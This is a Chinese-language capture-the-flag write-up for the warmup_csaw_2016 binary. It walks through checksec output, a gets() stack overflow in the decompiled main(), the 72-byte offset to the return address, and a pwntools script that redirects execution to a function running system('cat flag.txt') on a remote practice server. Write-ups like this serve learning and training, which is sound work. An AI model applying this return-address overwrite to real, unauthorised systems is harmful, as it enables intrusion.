warmup_csaw_2016

1. checksec warmup_csaw_2016

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

2. IDA64打开，找到main()

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-80h]
  char v5; // [rsp+40h] [rbp-40h]

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(&s, "%p\n", sub_40060D);
  write(1, &s, 9uLL);
  write(1, ">", 1uLL);
  return gets((__int64)&v5, (__int64)">");
}

所以基本逻辑应当是利用gets()栈溢出漏洞，双击变量v5查看栈信息

-0000000000000040 var_40 db ?
-000000000000003F db ? ; undefined
-000000000000003E db ? ; undefined
-000000000000003D db ? ; undefined
-000000000000003C db ? ; undefined
-000000000000003B db ? ; undefined
-000000000000003A db ? ; undefined
-0000000000000039 db ? ; undefined
-0000000000000038 db ? ; undefined
-0000000000000037 db ? ; undefined
-0000000000000036 db ? ; undefined
-0000000000000035 db ? ; undefined
-0000000000000034 db ? ; undefined
-0000000000000033 db ? ; undefined
-0000000000000032 db ? ; undefined
-0000000000000031 db ? ; undefined
-0000000000000030 db ? ; undefined
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

3. 所以由以上可知，覆盖'a'*(0x40+8)也即'a'*72即可到达返回地址
4. 同时，又发现sub_40060D()

int sub_40060D()
{
  return system("cat flag.txt");
}

所以，应在返回地址处填充sub_40060D()的地址0x40060D

5. 所以攻击代码有

from pwn import *

p = remote('node3.buuoj.cn', 28683)

system_addr = 0x40060D
payload = 'a'*72 + p64(system_addr)

p.sendline(payload)
p.interactive()

flag